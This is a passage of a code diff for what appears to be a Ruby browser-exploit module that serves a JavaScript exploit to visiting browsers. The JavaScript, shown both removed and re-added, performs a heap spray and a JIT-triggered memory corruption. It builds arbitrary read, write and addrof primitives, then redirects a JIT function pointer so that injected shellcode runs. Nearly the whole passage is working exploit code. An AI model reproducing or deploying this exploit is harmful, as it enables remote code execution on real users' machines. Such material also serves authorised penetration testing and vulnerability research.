140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has - - // Avoid Elements Copy-On-Write by pushing a value - target.push(i); - - // Write the Initialized Length, Capacity, and Length to be larger than it is - // This will work when interesting == cons - interesting.x1 = 3.476677904727e-310; - interesting.x0 = 3.4766779039175e-310; - - // Return the corrupted array - return target; -} - -// Initialises vulnerable objects -function init() { - // arr will contain our sprayed objects - var arr = []; - - // We'll create one object... - var cons = function() {}; - for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation) - arr.push(cons); - - // ...then duplicate it a whole bunch of times - // The number of times has two uses: - // - Heap spray - Stops any already freed objects getting in our way - // - Allows us to get the jitme function compiled - for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons)); - - // Return the array - return arr; -} - -// Global that holds the total number of objects in our original spray array -TOTAL = 0; - -// Global that holds the target argument so it can be used later -arg = 0; - -// setup_prim - Performs recursion to get the vulnerable arguments object -// arguments[0] - Original spray array -// arguments[1] - Recursive depth counter -// arguments[2]+ - Numbers to pad to the right reallocation size -function setup_prim() { - // Base case of our recursion - // If we have reached the end of the original spray array... - if(arguments[1] == TOTAL) { - - // Delete an argument to generate the RareArgumentsData pointer - delete arguments[3]; - - // Read out of bounds to the next object (sprayed objects) - // Check whether the RareArgumentsData pointer is null - if(evil[511] != 0) return arguments; - - // If it was null, then we return and try the next one - return 0; - } - - // Get the cons value - let cons = arguments[0][arguments[1]]; - - // Move the pointer (could just do cons.p481 = 481, but this is more fun) - new cons(); - - // Recursive call - res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 ); - - // If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it - if(res != 0) return res; - - // Otherwise, repeat the base case (delete an argument) - delete arguments[3]; - - // Check if the next object has a null RareArgumentsData pointer - if(evil[511] != 0) return arguments; // Return arguments if not - - // Otherwise just return 0 and try the next one - return 0; -} - -// weak_read32 - Bit-by-bit read -function weak_read32(arg, addr) { - // Set the RareArgumentsData pointer to the address - evil[511] = addr; - - // Used to hold the leaked data - let val = 0; - - // Read it bit-by-bit for 32 bits - // Endianness is taken into account - for(let i = 32; i >= 0; i--) { - val = val << 1; // Shift - if(arg[i] == undefined) { - val = val | 1; - } - } - - // Return the integer - return val; -} - -// weak_read64 - Bit-by-bit read using BigUint64Array -function weak_read64(arg, addr) { - // Set the RareArgumentsData pointer to the address - evil[511] = addr; - - // Used to hold the leaked data - val = new BigUint64Array(1); - val[0] = 0n; - - // Read it bit-by-bit for 64 bits - for(let i = 64; i >= 0; i--) { - val[0] = val[0] << 1n; - if(arg[i] == undefined) { - val[0] = val[0] | 1n; - } - } - - // Return the BigInt - return val[0]; -} - -// write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box -function write_nan(arg, addr) { - evil[511] = addr; - for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box -} - -// write - Write a value to an address -function write(address, value) { - // Set the fake ArrayBuffer backing store address - address = dbl_to_bigint(address) - target_uint32arr[14] = parseInt(address) & 0xffffffff - target_uint32arr[15] = parseInt(address >> 32n); - - // Use the fake ArrayBuffer backing store to write a value to a location - value = dbl_to_bigint(value); - fake_arrbuf[1] = parseInt(value >> 32n); - fake_arrbuf[0] = parseInt(value & 0xffffffffn); -} - -// addrof - Gets the address of a given object -function addrof(arg, o) { - // Set the 5th property of the arguments object - arg[5] = o; - - // Get the address of the 5th property - target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7) - - // Set the fake ArrayBuffer backing store to point to this location - target_uint32arr[14] = parseInt(target) & 0xffffffff; - target_uint32arr[15] = parseInt(target >> 32n); - - // Read the address of the object o - return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]); -} - -// shellcode - Constant values which hold our shellcode to pop xcalc. -function shellcode(){ -#{shellcode_js} -} - -// helper functions -var conv_buf = new ArrayBuffer(8); -var f64_buf = new Float64Array(conv_buf); -var u64_buf = new Uint32Array(conv_buf); - -function dbl_to_bigint(val) { - f64_buf[0] = val; - return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); -} - -function bigint_to_dbl(val) { - u64_buf[0] = Number(val & 0xffffffffn); - u64_buf[1] = Number(val >> 32n); - return f64_buf[0]; -} - - -// main - Performs the exploit -function main() { - - let i = 0; - - // ensure the shellcode is in jit rwx memory - for(i = 0;i < 0x5000; i++) shellcode(); - - // The jitme function returns arrays. We'll save them, just in case. - let arr_saved = []; - - // Get the sprayed objects - let arr = init(); - - // This is our target object. Choosing one of the end ones so that there - // is enough time for jitme to be compiled - let interesting = arr[arr.length - 10]; - - // Iterate over the vulnerable object array - for (i = 0; i < arr.length; i++) { - // Run the jitme function across the array - corr_arr = jitme(arr[i], interesting, i); - - // Save the generated array. Never trust the garbage collector. - arr_saved[i] = corr_arr; - - // Find the corrupted array - if(corr_arr.length != 491) { - // Save it for future evil - evil = corr_arr - break; - } - } - - if(evil == 0) { - print("[-] Failed to get the corrupted array"); - return; - } - print("[+] got the corrupted array " + evil.length); - - TOTAL=arr.length; - arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480); - - old_rareargdat_ptr = evil[511]; - print("[+] Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16)); - - iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value - counter = 0; // Used to prevent a while(true) situation - while(counter < 0x200) { - // Read the current address - output = weak_read32(arg, bigint_to_dbl(iterator)); - - // Check if it's the expected size value for our ArgumentsObject object - if(output == 0x1e10 || output == 0x1e20) { - // If it is, then read the ArgumentsData pointer - ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n)); - - // Get the pointer in ArgumentsData to RareArgumentsData - ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n)); - - // ad_location + 8 points to the RareArgumentsData pointer, so this should match - // We do this because after spraying arguments, there may be a few ArgumentObjects to go past - if((ad_location + 8n) == ptr_in_argdat) break; - } else { - if (output != 0 && output != 8) { - //print(output.toString(16)); - } - } - - // Iterate backwards - iterator = iterator - 8n; - - // Increment counter - counter += 1; - } - - if(counter == 0x200) { - print("[-] Failed to get AD location"); - return; - } - - print("[+] AD location: " + ad_location.toString(16)); - - // The target Uint32Array - A large size value to: - // - Help find the object (Not many 0x00101337 values nearby!) - // - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes) - target_uint32arr = new Uint32Array(0x101337); - - // Find the Uint32Array starting from the original leaked Nursery pointer - iterator = dbl_to_bigint(old_rareargdat_ptr); - counter = 0; // Use a counter - while(counter < 0x5000) { - - // Read a memory address - output = weak_read32(arg, bigint_to_dbl(iterator)); - - // If we have found the right size value, we have found the Uint32Array! - if(output == 0x101337) break; - - // Check the next memory location - iterator = iterator + 8n; - - // Increment the counter - counter += 1; - } - - if(counter == 0x5000) { - print("[-] Failed to find the Uint32Array"); - return; - } - - // Subtract from the size value address to get to the start of the Uint32Array - arr_buf_addr = iterator - 40n; - - // Get the Array Buffer backing store - arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n)); - print("[+] AB Location: " + arr_buf_loc.toString(16)); - - // Create a fake ArrayBuffer through cloning - iterator = arr_buf_addr; - for(i=0;i<64;i++) { - output = weak_read32(arg, bigint_to_dbl(iterator)); - target_uint32arr[i] = output; - iterator = iterator + 4n; - } - - // Cell Header - Set it to Nursery to pass isNursery() - target_uint32arr[0x3fffa] = 1; - - - // Write an unboxed pointer to arguments[0] - evil[512] = bigint_to_dbl(arr_buf_loc); - - // Make it NaN-Boxed - write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0] - - // From here we have a fake UintArray in arg[0] - // Pointer can be changed using target_uint32arr[14] and target_uint32arr[15] - fake_arrbuf = arg[0]; - - // Get the address of the shellcode function object - shellcode_addr = addrof(arg, shellcode); - print("[+] Function is at: " + shellcode_addr.toString(16)); - - // Get the jitInfo pointer in the JSFunction object - jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_ - print("[+] jitinfo: " + jitinfo.toString(16)); - - // We can then fetch the RX region from here - rx_region = weak_read64(arg, bigint_to_dbl(jitinfo)); - print("[+] RX Region: " + rx_region.toString(16)); - - iterator = rx_region; // Start from the RX region - found = false - // Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode. - for(i = 0; i < 0x800; i++) { - data = weak_read64(arg, bigint_to_dbl(iterator)); - if(data == 0x41414141n) { - iterator = iterator + 8n; - found = true; - break; - } - iterator = iterator + 8n; - } - if(!found) { - print("[-] Failed to find the JIT start"); - return; - } - - // We now have a pointer to the start of the shellcode - shellcode_location = iterator; - print("[+] Shellcode start: " + shellcode_location.toString(16)); - - // And can now overwrite the previous jitInfo pointer with our shellcode pointer - write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location)); - - print("[*] Triggering...") - shellcode(); // Triggering our shellcode is as simple as calling the function again. -} - -main(); - JS - + def add_debug_print_js(jscript) if datastore['DEBUG_EXPLOIT'] debugjs = <<~JS print = function(arg) { @@ -464,7 +90,381 @@ main(); jscript.gsub!(%r{//.*$}, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end + jscript + end + def on_request_uri(cli, request) + if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} + print_status(request.body) + send_response(cli, '') + return + end + + print_status("Sending #{request.uri} to #{request['User-Agent']}") + shellcode_js = create_js_shellcode + jscript = <<~JS + // Triggers the vulnerability + function jitme(cons, interesting, i) { + interesting.x1 = 10; // Make sure the MSlots is saved + + new cons(); // Trigger the vulnerability - Reallocates the object slots + + // Allocate a large array on top of this previous slots location. + let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has + + // Avoid Elements Copy-On-Write by pushing a value + target.push(i); + + // Write the Initialized Length, Capacity, and Length to be larger than it is + // This will work when interesting == cons + interesting.x1 = 3.476677904727e-310; + interesting.x0 = 3.4766779039175e-310; + + // Return the corrupted array + return target; + } + + // Initialises vulnerable objects + function init() { + // arr will contain our sprayed objects + var arr = []; + + // We'll create one object... + var cons = function() {}; + for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation) + arr.push(cons); + + // ...then duplicate it a whole bunch of times + // The number of times has two uses: + // - Heap spray - Stops any already freed objects getting in our way + // - Allows us to get the jitme function compiled + for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons)); + + // Return the array + return arr; + } + + // Global that holds the total number of objects in our original spray array + TOTAL = 0; + + // Global that holds the target argument so it can be used later + arg = 0; + + // setup_prim - Performs recursion to get the vulnerable arguments object + // arguments[0] - Original spray array + // arguments[1] - Recursive depth counter + // arguments[2]+ - Numbers to pad to the right reallocation size + function setup_prim() { + // Base case of our recursion + // If we have reached the end of the original spray array... + if(arguments[1] == TOTAL) { + + // Delete an argument to generate the RareArgumentsData pointer + delete arguments[3]; + + // Read out of bounds to the next object (sprayed objects) + // Check whether the RareArgumentsData pointer is null + if(evil[511] != 0) return arguments; + + // If it was null, then we return and try the next one + return 0; + } + + // Get the cons value + let cons = arguments[0][arguments[1]]; + + // Move the pointer (could just do cons.p481 = 481, but this is more fun) + new cons(); + + // Recursive call + res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 ); + + // If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it + if(res != 0) return res; + + // Otherwise, repeat the base case (delete an argument) + delete arguments[3]; + + // Check if the next object has a null RareArgumentsData pointer + if(evil[511] != 0) return arguments; // Return arguments if not + + // Otherwise just return 0 and try the next one + return 0; + } + + // weak_read32 - Bit-by-bit read + function weak_read32(arg, addr) { + // Set the RareArgumentsData pointer to the address + evil[511] = addr; + + // Used to hold the leaked data + let val = 0; + + // Read it bit-by-bit for 32 bits + // Endianness is taken into account + for(let i = 32; i >= 0; i--) { + val = val << 1; // Shift + if(arg[i] == undefined) { + val = val | 1; + } + } + + // Return the integer + return val; + } + + // weak_read64 - Bit-by-bit read using BigUint64Array + function weak_read64(arg, addr) { + // Set the RareArgumentsData pointer to the address + evil[511] = addr; + + // Used to hold the leaked data + val = new BigUint64Array(1); + val[0] = 0n; + + // Read it bit-by-bit for 64 bits + for(let i = 64; i >= 0; i--) { + val[0] = val[0] << 1n; + if(arg[i] == undefined) { + val[0] = val[0] | 1n; + } + } + + // Return the BigInt + return val[0]; + } + + // write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box + function write_nan(arg, addr) { + evil[511] = addr; + for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box + } + + // write - Write a value to an address + function write(address, value) { + // Set the fake ArrayBuffer backing store address + address = dbl_to_bigint(address) + target_uint32arr[14] = parseInt(address) & 0xffffffff + target_uint32arr[15] = parseInt(address >> 32n); + + // Use the fake ArrayBuffer backing store to write a value to a location + value = dbl_to_bigint(value); + fake_arrbuf[1] = parseInt(value >> 32n); + fake_arrbuf[0] = parseInt(value & 0xffffffffn); + } + + // addrof - Gets the address of a given object + function addrof(arg, o) { + // Set the 5th property of the arguments object + arg[5] = o; + + // Get the address of the 5th property + target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7) + + // Set the fake ArrayBuffer backing store to point to this location + target_uint32arr[14] = parseInt(target) & 0xffffffff; + target_uint32arr[15] = parseInt(target >> 32n); + + // Read the address of the object o + return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]); + } + + // shellcode - Constant values which hold our shellcode to pop xcalc. + function shellcode(){ + #{shellcode_js} + } + + // helper functions + var conv_buf = new ArrayBuffer(8); + var f64_buf = new Float64Array(conv_buf); + var u64_buf = new Uint32Array(conv_buf); + + function dbl_to_bigint(val) { + f64_buf[0] = val; + return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); + } + + function bigint_to_dbl(val) { + u64_buf[0] = Number(val & 0xffffffffn); + u64_buf[1] = Number(val >> 32n); + return f64_buf[0]; + } + + // main - Performs the exploit + function main() { + let i = 0; + // ensure the shellcode is in jit rwx memory + for(i = 0;i < 0x5000; i++) shellcode(); + + // The jitme function returns arrays. We'll save them, just in case. + let arr_saved = []; + + // Get the sprayed objects + let arr = init(); + + // This is our target object. Choosing one of the end ones so that there + // is enough time for jitme to be compiled + let interesting = arr[arr.length - 10]; + + // Iterate over the vulnerable object array + for (i = 0; i < arr.length; i++) { + // Run the jitme function across the array + corr_arr = jitme(arr[i], interesting, i); + + // Save the generated array. Never trust the garbage collector. + arr_saved[i] = corr_arr; + + // Find the corrupted array + if(corr_arr.length != 491) { + // Save it for future evil + evil = corr_arr + break; + } + } + + if(evil == 0) { + print("[-] Failed to get the corrupted array"); + return; + } + print("[+] got the corrupted array " + evil.length); + + TOTAL=arr.length; + arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 